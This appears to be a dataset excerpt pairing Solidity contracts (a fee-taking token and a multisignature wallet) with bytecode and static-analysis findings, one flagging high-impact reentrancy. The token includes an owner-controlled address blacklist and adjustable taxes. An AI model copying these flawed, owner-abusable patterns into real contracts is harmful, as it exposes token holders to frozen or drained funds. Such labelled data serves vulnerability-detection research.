require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 28) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 28) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461015c5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b806323b872dd116100f257806323b872dd14610211578063273123b714610231578063313ce567146102515780636fc3eaec1461026d57806370a082311461028257600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019c57806318160ddd146101cc5780631bbae6e0146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611841565b6103e4565b005b34801561016857600080fd5b506040805180820182526008815267534849425a554b4960c01b6020820152905161019391906118be565b60405180910390f35b3480156101a857600080fd5b506101bc6101b736600461174f565b610435565b6040519015158152602001610193565b3480156101d857600080fd5b50670de0b6b3a76400005b604051908152602001610193565b3480156101fd57600080fd5b5061015a61020c366004611879565b61044c565b34801561021d57600080fd5b506101bc61022c36600461170f565b61048e565b34801561023d57600080fd5b5061015a61024c36600461169f565b6104f7565b34801561025d57600080fd5b5060405160098152602001610193565b34801561027957600080fd5b5061015a610542565b34801561028e57600080fd5b506101e361029d36600461169f565b610576565b3480156102ae57600080fd5b5061015a610598565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102eb57600080fd5b5061015a61060c565b34801561030057600080fd5b506101bc61030f36600461174f565b61084b565b34801561032057600080fd5b5061015a61032f36600461177a565b610858565b34801561034057600080fd5b5061015a6108fc565b34801561035557600080fd5b5061015a61093c565b34801561036a57600080fd5b5061015a610379366004611879565b610b02565b34801561038a57600080fd5b5061015a610399366004611879565b610b3a565b3480156103aa57600080fd5b506101e36103b93660046116d7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611911565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610442338484610b72565b5060015b92915050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161040e90611911565b662386f26fc1000081111561048b5760108190555b50565b600061049b848484610c96565b6104ed84336104e885604051806060016040528060288152602001611a8f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8d565b610b72565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161040e90611911565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161040e90611911565b4761048b81610fc7565b6001600160a01b03811660009081526002602052604081205461044690611001565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161040e90611911565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161040e90611911565b600f54600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f057600080fd5b505afa158015610704573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072891906116bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077057600080fd5b505afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a891906116bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f057600080fd5b505af1158015610804573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082891906116bb565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610442338484610c96565b6000546001600160a01b031633146108825760405162461bcd60e51b815260040161040e90611911565b60005b81518110156108f8576001600660008484815181106108b457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f081611a24565b915050610885565b5050565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161040e90611911565b600061093130610576565b905061048b81611085565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161040e90611911565b600e546109869030906001600160a01b0316670de0b6b3a7640000610b72565b600e546001600160a01b031663f305d71947306109a281610576565b6000806109b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a539190611891565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b919061185d565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b815260040161040e90611911565b601c81101561048b57600b55565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161040e90611911565b601c81101561048b57600c55565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040e565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040e565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040e565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b6001600160a01b03831660009081526006602052604090205460ff1615610de457600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2657506001600160a01b03821660009081526005602052604090205460ff16155b15610f7d576000600955600c54600a55600f546001600160a01b038481169116148015610e615750600e546001600160a01b03838116911614155b8015610e8657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9b5750600f54600160b81b900460ff165b15610eaf57601054811115610eaf57600080fd5b600f546001600160a01b038381169116148015610eda5750600e546001600160a01b03848116911614155b8015610eff57506001600160a01b03831660009081526005602052604090205460ff16155b15610f10576000600955600b54600a555b6000610f1b30610576565b600f54909150600160a81b900460ff16158015610f465750600f546001600160a01b03858116911614155b8015610f5b5750600f54600160b01b900460ff165b15610f7b57610f6981611085565b478015610f7957610f7947610fc7565b505b505b610f8883838361122a565b505050565b60008184841115610fb15760405162461bcd60e51b815260040161040e91906118be565b506000610fbe8486611a0d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b60006007548211156110685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040e565b6000611072611235565b905061107e8382611258565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110db57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112f57600080fd5b505afa158015611143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116791906116bb565b8160018151811061118857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ae9130911684610b72565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e7908590600090869030904290600401611946565b600060405180830381600087803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8883838361129a565b6000806000611242611391565b90925090506112518282611258565b9250505090565b600061107e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d1565b6000806000806000806112ac876113ff565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112de908761145c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130d908661149e565b6001600160a01b03891660009081526002602052604090205561132f816114fd565b6113398483611547565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137e91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ac8282611258565b8210156113c857505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f25760405162461bcd60e51b815260040161040e91906118be565b506000610fbe84866119ce565b600080600080600080600080600061141c8a600954600a5461156b565b925092509250600061142c611235565b9050600080600061143f8e8787876115c0565b919e509c509a509598509396509194505050505091939550919395565b600061107e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8d565b6000806114ab83856119b6565b90508381101561107e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b6000611507611235565b905060006115158383611610565b30600090815260026020526040902054909150611532908261149e565b30600090815260026020526040902055505050565b600754611554908361145c565b600755600854611564908261149e565b6008555050565b6000808080611585606461157f8989611610565b90611258565b90506000611598606461157f8a89611610565b905060006115b0826115aa8b8661145c565b9061145c565b9992985090965090945050505050565b60008080806115cf8886611610565b905060006115dd8887611610565b905060006115eb8888611610565b905060006115fd826115aa868661145c565b939b939a50919850919650505050505050565b60008261161f57506000610446565b600061162b83856119ee565b90508261163885836119ce565b1461107e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b803561169a81611a6b565b919050565b6000602082840312156116b0578081fd5b813561107e81611a6b565b6000602082840312156116cc578081fd5b815161107e81611a6b565b600080604083850312156116e9578081fd5b82356116f481611a6b565b9150602083013561170481611a6b565b809150509250929050565b600080600060608486031215611723578081fd5b833561172e81611a6b565b9250602084013561173e81611a6b565b929592945050506040919091013590565b60008060408385031215611761578182fd5b823561176c81611a6b565b946020939093013593505050565b6000602080838503121561178c578182fd5b823567ffffffffffffffff808211156117a3578384fd5b818501915085601f8301126117b6578384fd5b8135818111156117c8576117c8611a55565b8060051b604051601f19603f830116810181811085821117156117ed576117ed611a55565b604052828152858101935084860182860187018a101561180b578788fd5b8795505b83861015611834576118208161168f565b85526001959095019493860193860161180f565b5098975050505050505050565b600060208284031215611852578081fd5b813561107e81611a80565b60006020828403121561186e578081fd5b815161107e81611a80565b60006020828403121561188a578081fd5b5035919050565b6000806000606084860312156118a5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118ea578581018301518582016040015282016118ce565b818111156118fb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119955784516001600160a01b031683529383019391830191600101611970565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c9576119c9611a3f565b500190565b6000826119e957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0857611a08611a3f565b500290565b600082821015611a1f57611a1f611a3f565b500390565b6000600019821415611a3857611a38611a3f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aef562d979882660062ef61730c7ed07b6402f19fb0a7c349f5570d45a6e516364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,384
0xa3ef350655ca518f6bafe3d335cbf019999c3e5d
pragma solidity 0.4.23; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b600380546000190190610684908261147a565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b60608060008060038054905060405190808